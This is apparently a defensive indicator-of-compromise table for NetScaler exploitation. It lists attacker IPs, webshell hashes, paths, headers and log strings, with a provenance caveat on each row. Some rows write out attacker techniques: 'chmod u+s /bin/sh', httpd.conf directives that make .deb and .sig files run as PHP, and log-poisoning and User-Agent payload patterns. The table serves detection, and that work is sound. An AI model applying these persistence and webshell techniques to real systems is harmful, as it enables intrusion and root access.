IPv4104.248.244.66Truesec [69]; IFIN [111]; Unit 42 (Palo Alto Networks) [153]Potential C2 IP observed by TruesecIR-vendor observation. Beaumont reports attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host.Public page, no TLP marking
IPv4139.180.152.138Truesec [69]; IFIN [111]; eSentire TRU [98]; Unit 42 (Palo Alto Networks) [153]Potential C2 IP observed by Truesec; webshell delivery per eSentireIR-vendor observation. Beaumont reports attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host.Public page, no TLP marking
IPv477.83.199.39Truesec [69]; IFIN [111]; eSentire TRU [98]; Unit 42 (Palo Alto Networks) [153]; Sygnia [73]Potential C2 IP observed by Truesec; webshell delivery per eSentireIR-vendor observation. Beaumont reports attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host.Public page, no TLP marking
IPv478.135.96.136IFIN [111]Associated exploit source (IFIN compiled observables)Compiled by IFIN from shared reports; the original reporter of each value is not stated.Public, no restriction
IPv4149.28.29.221IFIN [111]Associated exploit source (IFIN compiled observables)Compiled by IFIN from shared reports; the original reporter of each value is not stated.Public, no restriction
IPv480.240.22.229IFIN [111]Associated exploit source (IFIN compiled observables)Compiled by IFIN from shared reports; the original reporter of each value is not stated.Public, no restriction
IPv489.36.231.206IFIN [111]Associated exploit source (IFIN compiled observables)Compiled by IFIN from shared reports; the original reporter of each value is not stated.Public, no restriction
IPv491.195.240.123IFIN [111]Associated exploit source (IFIN compiled observables)Compiled by IFIN from shared reports; the original reporter of each value is not stated. WHOIS: SEDO-NET, Sedo Domain Parking - a shared parking IP used by many unrelated parked domains. Expect heavy false positives; do not block on it alone.Public, no restriction
IPv4143.198.7.94Google GTIG / Mandiant [70]Scanning and staging infrastructurePublished by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only.Public blog, no TLP marking
IPv4157.254.167.12Google GTIG / Mandiant [70]NetScaler exploitation and installation of a basic webshell backdoorPublished by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only.Public blog, no TLP marking
HTTP headerHTTP_NSC_LDAPGoogle GTIG / Mandiant [70]Inbound command execution header used by nsginstaller.debPublished by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only.Public blog, no TLP marking
HTTP headerHTTP_NSC_CLIENTTYPEGoogle GTIG / Mandiant [70]Inbound command execution header used by nsgclient.sigPublished by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only.Public blog, no TLP marking
HTTP headerHTTP_X_UX / HTTP_X_UX_[0-9]+Google GTIG / Mandiant [70]Chunked base64 transport headers used by WHIPSHOTPublished by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only.Public blog, no TLP marking
URI path/vpn/media/nsgclient.ico / /vpn/media/*.icoGoogle GTIG / Mandiant [70]Masquerading icon request routed to a .sig webshell via AliasMatchPublished by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only.Public blog, no TLP marking
URI path/vpn/scripts/linux/nsginstaller*.debGoogle GTIG / Mandiant [70]Staging path for malicious PHP webshellsPublished by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only.Public blog, no TLP marking
URI path/vpn/scripts/linux/nsgclient*.debGoogle GTIG / Mandiant [70]Staging path for malicious PHP webshellsPublished by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only.Public blog, no TLP marking
URI path/vpn/scripts/linux/*.phpGoogle GTIG / Mandiant [70]Staging path for malicious PHP webshellsPublished by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only.Public blog, no TLP marking
File path/tmp/.uxdportGoogle GTIG / Mandiant [70]; Rapid7 [86]SLAPSHOT active port artefact (GTIG). Rapid7's incident analysis vendor-confirms the same file from a real compromise: agent.pl created a loopback listener on an ephemeral port and recorded it in /tmp/.uxdport, with /tmp/.uxdlock for process coordination and open/push/pull/exch/close operations turning the appliance into an internal TCP pivotNow multi-source: GTIG's SLAPSHOT research plus first-hand Rapid7 IR. Both files together are a strong pivot signal.Public blog, no TLP marking
File path/tmp/.uxdlockGoogle GTIG / Mandiant [70]; Rapid7 [86]SLAPSHOT process lock artefact (GTIG); vendor-confirmed in Rapid7's incident analysis as the process-coordination file of the agent.pl TCP session managerNow multi-source: GTIG plus first-hand Rapid7 IR.Public blog, no TLP marking
Config directiveAddHandler application/x-httpd-php .debGoogle GTIG / Mandiant [70]httpd.conf change making .deb files run as PHP (GTIG persistence method A)Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. Any AddHandler/AddType mapping a non-PHP extension to PHP indicates compromise, per GTIG.Public blog, no TLP marking
Config directiveAddHandler application/x-httpd-php .sigGoogle GTIG / Mandiant [70]httpd.conf change making .sig files run as PHP (GTIG persistence method B)Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only.Public blog, no TLP marking
Config directiveAliasMatch ^/vpn/media/(.+).ico$ /var/netscaler/gui/vpn/scripts/linux/$1.sigGoogle GTIG / Mandiant [70]Routes /vpn/media/*.ico requests to a .sig webshell with the same base namePublished by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only.Public blog, no TLP marking
File path/netscaler/ns_gui/vpn/scripts/linux/Google GTIG / Mandiant [70]Directory where WHIPSHOT was placedPublished by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. Legitimate client binaries live here too; look for ASCII text or PHP markers.Public blog, no TLP marking
Filename patternnginstaller*Google GTIG / Mandiant [70]Installer webshell names seen across intrusions, often followed by a numberPublished by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. GTIG says filenames varied between victims.Public blog, no TLP marking
Filenamensgclient.sigGoogle GTIG / Mandiant [70].sig webshell in VPN script directoriesPublished by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only.Public blog, no TLP marking
Filenamee6ee7c85.sigGoogle GTIG / Mandiant [70]GTIG example .sig webshell: reads base64 payloads from HTTP_NSC_CLIENTTYPE, runs them via eval() and returns a fake 404. Reached as /vpn/media/e6ee7c85.ico through the AliasMatch abovePublished by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. Example from one intrusion; GTIG says filenames varied between victims, so absence proves nothing.Public blog, no TLP marking
Log stringpitboss NOT restarting NSPPEGoogle GTIG / Mandiant [70]Watchdog message in /var/log/messages after an NSPPE crashPublished by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. Strongest when it follows a DTLSv1.0 SSL_HANDSHAKE_FAILURE on the same appliance.Public blog, no TLP marking
StringUXD_IDLE_EXITGoogle GTIG / Mandiant [70]SLAPSHOT idle-exit variablePublished by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only.Public blog, no TLP marking
Commandchmod u+s /bin/shGoogle GTIG / Mandiant [70]; GreyNoise blog [106]Sets setuid on /bin/sh for persistent root; ls -l /bin/sh showing -rwsr-xr-x owned by root means modifiedPublished by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only.Public blog, no TLP marking
IPv4138.199.200.90Help Net Security (Sep 29) [158]Destination for data exfiltrated via log poisoning (Hetzner), seen by LupovisLupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC.Public article, no TLP marking
IPv4138.28.234.38Lupovis (@LupovisDefence) on X, Sep 28 [116]; Beazley Security advisory (updated Sep 29) [93]Exploitation with attempted DNS exfiltration (Lupovis)Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC.Public article, no TLP marking
IPv482.167.14.7Beazley Security advisory (updated Sep 29) [93]; GreyNoise tag [109]; eSentire TRU [98]Exploitation check that writes a test marker (Lupovis); exploitation source per eSentire; also tagged by GreyNoiseLupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC. May be a researcher-style check.Public article, no TLP marking
IPv485.203.46.191Beazley Security advisory (updated Sep 29) [93]; GreyNoise tag [109]Reconnaissance (Lupovis)Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC. WHOIS netname Express-Equinix-London; GreyNoise tags it as VPN, so likely a commercial VPN exit shared by many users.Public article, no TLP marking
IPv4154.217.251.226Beazley Security advisory (updated Sep 29) [93]; GreyNoise tag [109]CVE-2026-88772 scanning (Lupovis); also tagged by GreyNoiseLupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC.Public article, no TLP marking
IPv4194.26.29.88Corelight [94]Host of the reverse shell documented by Corelight (WHOIS: Media Land LLC, RU)Reverse-shell infrastructure; hunt for connections from NetScaler NSIP/SNIP addresses.Public blog, no TLP marking
DNS pattern*.instances.httpworkbench.comHelp Net Security (Sep 29) [158]; Beazley Security advisory (updated Sep 29) [93]Outbound lookups from a NetScaler suggest an out-of-band callback (Lupovis hunt advice)httpworkbench.com is a public HTTP/DNS testing service, also used by researchers. Hunt signal only when the lookup comes from a NetScaler; do not block the apex.Public article, no TLP marking
HTTP request patternPOST /nf/auth/doAuthentication.do with body containing "pitboss PPE unexpectedly died NSPPE"Help Net Security (Sep 29) [158]Log-poisoning exploitation attempt (Lupovis hunt advice)Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC.Public article, no TLP marking
URI path/nf/auth/doAuthentication.doDefused (@DefusedCyber) on X, Sep 29 [115]; Help Net Security (Sep 29) [158]CVE-2026-88771 exploitation attempts seen on Defused decoys (any logged field works)Hunting lead from Defused decoys, not an IoC. These are legitimate NetScaler endpoints; flag requests only when a logged field carries shell metacharacters or a payload.Public post, no TLP marking
URI path/cgi/loginDefused (@DefusedCyber) on X, Sep 29 [115]CVE-2026-88771 exploitation attempts seen on Defused decoysHunting lead from Defused decoys, not an IoC. These are legitimate NetScaler endpoints; flag requests only when a logged field carries shell metacharacters or a payload.Public post, no TLP marking
URI path/p/u/doLogon.doDefused (@DefusedCyber) on X, Sep 29 [115]CVE-2026-88771 exploitation attempts seen on Defused decoysHunting lead from Defused decoys, not an IoC. These are legitimate NetScaler endpoints; flag requests only when a logged field carries shell metacharacters or a payload.Public post, no TLP marking
URI path/logon/LogonPoint/tmindex.htmlDefused (@DefusedCyber) on X, Sep 29 [115]CVE-2026-88771 exploitation attempts seen on Defused decoysHunting lead from Defused decoys, not an IoC. These are legitimate NetScaler endpoints; flag requests only when a logged field carries shell metacharacters or a payload.Public post, no TLP marking
HTTP headerUser-Agent (payload in the header on requests to /)Defused (@DefusedCyber) on X, Sep 29 [115]; CERT-EU [56]CVE-2026-88771 exploitation attempts seen on Defused decoysHunting lead from Defused decoys, not an IoC. These are legitimate NetScaler endpoints; flag requests only when a logged field carries shell metacharacters or a payload. CERT-EU separately flags base64 User-Agent strings starting with INDEX:.Public post, no TLP marking
Filenamenx_verify.htmlDefused (@DefusedCyber) on X, Sep 29 [115]Marker file dropped to tag vulnerable boxes for a target list (Defused)Also written by testers; means the box was reached and is exploitable, not necessarily that an actor installed a backdoor.Public post, no TLP marking
SHA-2565ea5ea61e9062822bee3f66ef5ff47c217178d9e31936ad6daf10c5dfae44d12eSentire TRU [98]; Sygnia [73]PHP webshell, .ico variant (publicly on VirusTotal per eSentire); Sygnia also found it during an active IR investigationeSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim.Public advisory, no TLP marking
SHA-2567add390ceee4a1373211b3e340451b34f08965fc4d805f94c9b8cebdc0775774eSentire TRU [98]; Google GTIG / Mandiant [70]PHP webshell disguised as nsgtrust.deb in /var/netscaler/gui/vpn/scripts/linux/ (eSentire TRU Cluster A, pre-disclosure, early September; the directory holds legitimate .deb files that mask it). Executes attacker-supplied code via the HTTP_NSC_CLIENTTYPE header, adds an application/x-httpd-php handler replacing the .ico handler in /etc/httpd.conf, sets php_flag engine on, sets the SUID bit on /bin/sh and cleans its own crontab artifacts - nearly identical to the lightweight installer webshell family in GTIG's researcheSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim.Public advisory, no TLP marking
File path/var/netscaler/gui/vpn/scripts/linux/*.sigeSentire TRU [98]; Google GTIG / Mandiant [70].ico-variant webshell location (eSentire); also matches GTIG method BeSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim.Public advisory, no TLP marking
HTTP request patternGET /vpn/media/*.ico with base64 PHP (starting "PD9") appended to the User-AgenteSentire TRU [98]; CERT-EU [56]Payload staging via the access log (eSentire; matches CERT-EU technique)eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim.Public advisory, no TLP marking
IPv434.90.151.231eSentire TRU [98]Reconnaissance and webshell delivery (eSentire)eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. Google Cloud address space; may be reassigned.Public advisory, no TLP marking
IPv431.56.197.72eSentire TRU [98]; Arctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82]; Rapid7 [86]Payload host (eSentire); Arctic Wolf: served /lula on ports 80 and 9090, and /kk. Rapid7's incident analysis lists the same address in its network indicators as payload deliveryMulti-source (eSentire, Arctic Wolf, LevelBlue, Rapid7 IR). Keep it blocked.Public advisory, no TLP marking
IPv464.94.85.67eSentire TRU [98]; GreyNoise tag [109]; Arctic Wolf [72]; Sygnia [73]; LevelBlue SpiderLabs (THOR team) [82]; Rapid7 [86]Payload host (eSentire); also tagged by GreyNoise. Rapid7's incident analysis lists the same address in its network indicators as payload deliveryMulti-source (eSentire, GreyNoise, Arctic Wolf, Sygnia, LevelBlue, Rapid7 IR). Keep it blocked.Public advisory, no TLP marking
IPv423.27.143.20eSentire TRU [98]; Arctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82]Payload host (eSentire); Arctic Wolf: served main.py on port 9000, saved as /var/1.py and run with pythoneSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. LevelBlue also lists it from its own THOR hunt, not independently confirmed.Public advisory, no TLP marking
IPv462.133.62.80eSentire TRU [98]; GreyNoise tag [109]; Arctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82]; Rapid7 [86]Payload host (eSentire); also tagged by GreyNoise. Rapid7's incident analysis lists the same address in its network indicators as payload delivery - a second IR vendor observing itMulti-source (eSentire IR, GreyNoise, Rapid7 IR). Keep it blocked.Public advisory, no TLP marking
IPv4144.172.108.78eSentire TRU [98]Exploitation source (eSentire)eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim.Public advisory, no TLP marking
IPv4185.156.46.162eSentire TRU [98]; GreyNoise tag [109]Exploitation source (eSentire); also tagged by GreyNoiseeSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. GreyNoise tags it as VPN; may be shared.Public advisory, no TLP marking
IPv4153.75.82.220eSentire TRU [98]; GreyNoise tag [109]; Arctic Wolf [72]Exploitation source (eSentire); also tagged by GreyNoise; Arctic Wolf: served /download/x.sh, piped to basheSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim.Public advisory, no TLP marking
IPv4216.203.21.233eSentire TRU [98]; GreyNoise tag [109]Exploitation source (eSentire); also tagged by GreyNoiseeSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim.Public advisory, no TLP marking
IPv4185.243.41.247eSentire TRU [98]Campaign infrastructure (eSentire)eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim.Public advisory, no TLP marking
NetworkUDP/443 (DTLSv1.0)Google GTIG / Mandiant [70]Delivery protocol for the CVE-2026-88772 exploit (GTIG)Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. Legitimate DTLS VPN traffic uses the same port; baseline normal DTLS sources.Public blog, no TLP marking
Config directiveAlias /logon/LogonPoint/custom/receiver.min.cssBeazley Security Labs [101]; GreyNoise blog [106]httpd.conf route to the .ctxs.receiver webshell (GreyNoise, via Beazley)Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own.Public advisory, no TLP marking
Config directiveAliasMatch ^/logon/LogonPoint/custom/receiver\.min\.[0-9a-f]+\.css$Beazley Security Labs [101]; GreyNoise blog [106]httpd.conf route variant to the webshell (GreyNoise, via Beazley)Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own.Public advisory, no TLP marking
Config directivephp_flag engine on (changed from off) plus a SetHandler block for the webshell fileBeazley Security Labs [101]; CERT-EU [56]PHP enabled for the webshell in httpd.conf (GreyNoise, CERT-EU, via Beazley)Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. Compare /etc/httpd.conf with a clean appliance on the same build.Public advisory, no TLP marking
HTTP cookieCsrfToken + NSC_TASSBeazley Security Labs [101]; IFIN [111]Cookies used to access the .ctxs.receiver webshell (GreyNoise, via Beazley)NetScaler uses both cookies legitimately. Suspicious only when NSC_TASS carries URL-encoded commands on requests to the webshell path.Public advisory, no TLP marking
Log stringpitboss log lines containing IFS or b64decodeBeazley Security Labs [101]Log-poisoning exploitation of CVE-2026-88771 (Beaumont, via Beazley); check ns.log, /var/log/messages and your SIEMHunting lead compiled by Beazley Security Labs; not proof of compromise on its own.Public advisory, no TLP marking
Log string"missed too many heartbeats" or "unexpectedly died" in authentication log linesBeazley Security Labs [101]; CERT-EU [56]; Arctic Wolf [72]; Sygnia [73]Crafted login usernames imitating packet-engine messages (watchTowr, CERT-EU, via Beazley); ns.logHunting lead compiled by Beazley Security Labs; not proof of compromise on its own.Public advisory, no TLP marking
User-Agentns-88771-pocBeazley Security Labs [101]Public PoC/scanner User-Agent seen by Lupovis (via Beazley); Apache access logsA public testing tool, not an actor indicator. Means someone tested the box.Public advisory, no TLP marking
User-AgentPoCbitPoppelgaard [75]Scanner User-Agent listed alongside ns-88771-poc in the Poppelgaard checker v1.11 log hunt (source of the value not stated there); Apache access logsA testing-tool marker, not an actor indicator. A hit means someone ran a PoC or scanner against the box, possibly a researcher or defender.Public GitHub repository, no TLP marking
File path/var/tmp/wtw888*Poppelgaard [75]; watchTowr Detection Artefact Generator [58]; watchTowr Detection Artefact Generator [60]Output marker glob from the Poppelgaard checker v1.11 for files written by exploit payloads and PoC tools (alongside /var/tmp/watchTowr*, /tmp/wtw*, /tmp/boom*, nx_verify.html, id009*)Pattern from a public triage script, not a vendor report. The watchTowr tools document /var/tmp/watchTowr and /tmp/watchTowr as their example outputs; a wtw* hit means a PoC-class tool or payload ran on the box, and /tmp is in memory so it clears on reboot.Public GitHub repository, no TLP marking
IPv478.128.113.10Poppelgaard [75]Exploitation-attempt source per the GreyNoise-era list compiled from the public GreyNoise, Marius Sandbu and Lupovis releases (28-29 Sep), carried in the Poppelgaard checker. WHOIS: RACKWEB-NET, Miti 2000 EOOD. VirusTotal: 4 of 91 engines malicious, 3 suspicious (2 Oct)Single compiled list; the checker does not state which source observed this specific IP, and no public source describes what it did. A hunting lead, not proof of targeting.Public GitHub repository, no TLP marking
IPv478.128.113.101Poppelgaard [75]Carried in the Poppelgaard checker IP list; not named in any public source. Same RACKWEB-NET block (Miti 2000 EOOD, Bulgaria) as the separately listed 78.128.113.10 - the checker v1.12 boundary-fix note names it only as the host that 78.128.113.10 must not be confused with, which is why it is kept as its own rowWeakest-provenance row on this page: the only public appearance of this address is inside the checker script itself, and the script gives it no role or observation. A hunting lead at most; treat any hit as a prompt to check what the host actually did.Public GitHub repository, no TLP marking
IPv4158.94.209.12Poppelgaard [75]Download server or sender per Gotham Technology Group, shared with permission and carried in the Poppelgaard checker. WHOIS: OMEGATECH, Omegatech LTD. VirusTotal: 12 of 91 engines malicious (2 Oct)Gotham IR observation shared with permission, relayed via the checker. Attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host.Public GitHub repository, no TLP marking
IPv438.134.148.238Poppelgaard [75]Tied to the 2 Oct activity, shared in the NetScaler community and carried in the Poppelgaard checker's GreyNoise-tagged probe group. WHOIS: Cogent Communications (COGENT-A block); announced via AS174 Cogent per BGP. VirusTotal: 2 of 91 engines malicious, 2 suspicious (3 Oct)Community-shared via the checker; the checker itself groups it as scanner noise, and no public source describes what it did or links it to the campaign first-hand. A hunting lead, not a confirmed attacker address; not in this site's firewall blocklist.Public GitHub repository, no TLP marking
IPv4167.148.88.236Poppelgaard [75]Tied to the 2 Oct activity, shared in the NetScaler community and carried in the Poppelgaard checker's GreyNoise-tagged probe group. WHOIS: RIPE allocation, netname NET-167-148-88-0-24 (Ultahost, New York per PTR range data). VirusTotal: 1 of 91 engines malicious, 1 suspicious (3 Oct)Community-shared via the checker; the checker itself groups it as scanner noise, and no public source describes what it did or links it to the campaign first-hand. A hunting lead, not a confirmed attacker address; not in this site's firewall blocklist.Public GitHub repository, no TLP marking
IPv45.188.206.226Poppelgaard [75]Download server or sender per Gotham Technology Group, shared with permission and carried in the Poppelgaard checker. WHOIS: TAIL-NET, Technology Advanced Investment Limited (announced via AS200391 KREZ 999, a reseller routing the range). VirusTotal: 0 of 91 engines malicious, 1 suspicious (2 Oct)Gotham IR observation shared with permission, relayed via the checker. Attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host. Low VirusTotal score does not prove safety.Public GitHub repository, no TLP marking
StringNX-CVE-OKBeazley Security Labs [101]Test-marker text dropped in web folders by exploitation checks (Lupovis, via Beazley); grep /netscaler/ns_guiMeans the box was reached and is exploitable, not necessarily backdoored.Public advisory, no TLP marking
File permission/bin/sh expected -r-xr-xr-x (setuid means modified)Beazley Security Labs [101]; Google GTIG / Mandiant [70]Check with ls -l /bin/sh before patching; the installer sets setuid (Beazley, GTIG)Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own.Public advisory, no TLP marking
IPv4172.247.44.85GreyNoise tag [109]; Poppelgaard [75]CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (CNSERVERS LLC, United States). Huntback (7 Oct, via checker v1.15) moved it from its scanner group to confirmed command-injection sourcesHuntback decoy telemetry plus GreyNoise tagging; command injection confirmed by a decoy operator. Keep it blocked.GreyNoise Visualizer tag search, viewed Sep 29
IPv4165.227.201.112GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (DigitalOcean, LLC, United States)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv4173.231.39.244GreyNoise tag [109]; Rapid7 [86]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (WebNX, Inc., United States). Rapid7's incident analysis lists the same address in its network indicators as payload deliveryMulti-source: GreyNoise tagging plus first-hand Rapid7 IR. Keep it blocked.GreyNoise Visualizer tag search, viewed Sep 29
IPv464.225.103.14GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (DigitalOcean, LLC, Germany)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv4159.65.104.231GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (DigitalOcean, LLC, United States)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv4142.93.205.229GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (DigitalOcean, LLC, United States)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv4182.101.54.57GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (CHINANET BACKBONE, China)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv487.224.84.82GreyNoise tag [109]; LevelBlue SpiderLabs (THOR team) [82]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Spitfire Network Services Limited, United Kingdom). LevelBlue: source of a configuration-staging attemptOpportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. LevelBlue also lists it from its own THOR hunt, not independently confirmed.GreyNoise Visualizer tag search, viewed Sep 29
IPv4137.220.53.135GreyNoise tag [109]; Poppelgaard [75]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (The Constant Company, LLC, Canada). Huntback (7 Oct, via checker v1.15) moved it from its scanner group to ns.conf-upload sourcesHuntback decoy telemetry plus GreyNoise tagging; ns.conf upload observed by a decoy operator. Keep it blocked.GreyNoise Visualizer tag search, viewed Sep 29
IPv4120.28.233.211GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Globe Telecoms, Philippines)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv4149.28.58.71GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (The Constant Company, LLC, United States)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv423.234.111.22GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (tzulo, inc., United States)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. VPN or proxy exit shared by many users; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv4198.13.159.233GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (BL Networks, Netherlands)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv485.221.203.85GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (INEA sp. z o.o., Poland)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv446.150.68.55GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Kyivski Telekomunikatsiyni Merezhi, Ukraine)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv4159.26.103.184GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Proton AG, United States)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. VPN or proxy exit shared by many users; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv445.249.89.172GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (SpeedyPage Ltd, Japan)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting.GreyNoise Visualizer tag search, viewed Sep 29
IPv4197.52.9.138GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (TE-AS, Egypt)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv4180.242.113.168GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (PT Telekomunikasi Indonesia, Indonesia)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
IPv485.117.117.248GreyNoise tag [109]Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Mobile Telecom-Service LLP, Kazakhstan)Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it.GreyNoise Visualizer tag search, viewed Sep 29
